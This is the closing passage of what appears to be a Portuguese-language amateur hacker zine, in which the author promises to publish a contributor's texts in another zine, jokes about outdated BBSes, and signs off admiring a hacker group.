Com relação aos seus textos Mort's, pretendo publica-los em um futuro bem
proximo, seguinte, nessa zine aqui eu escrevo apenas coisas minhas (por enquanto),
tenho ela mais como passa-tempo e tals, mas da proxima achu que vou abrir uma 
exceção, tenho varios textos da galera e até pouco tempo atraz tava afim de 
publica-los aqui, mas.... -> Os textos vão para a minha outra zine que brevemente
estará saido na sua BSS mais proxima (Eita!!!), de onde desenterrei essa coisa
ultrapassada de BSS? Afz, quem gosta de velharia é museu ;)

Até a proxima edição da minha, da sua, da nossa revista hacker numero 1 baby...;)
Ah! Um dia eu ainda vou ser da THC (Tomara manoh!! =).
                                                                    
                                                              Hacking é uma arte ;)
                                                                     by        
                                                               6_Bl4ck9_f0x6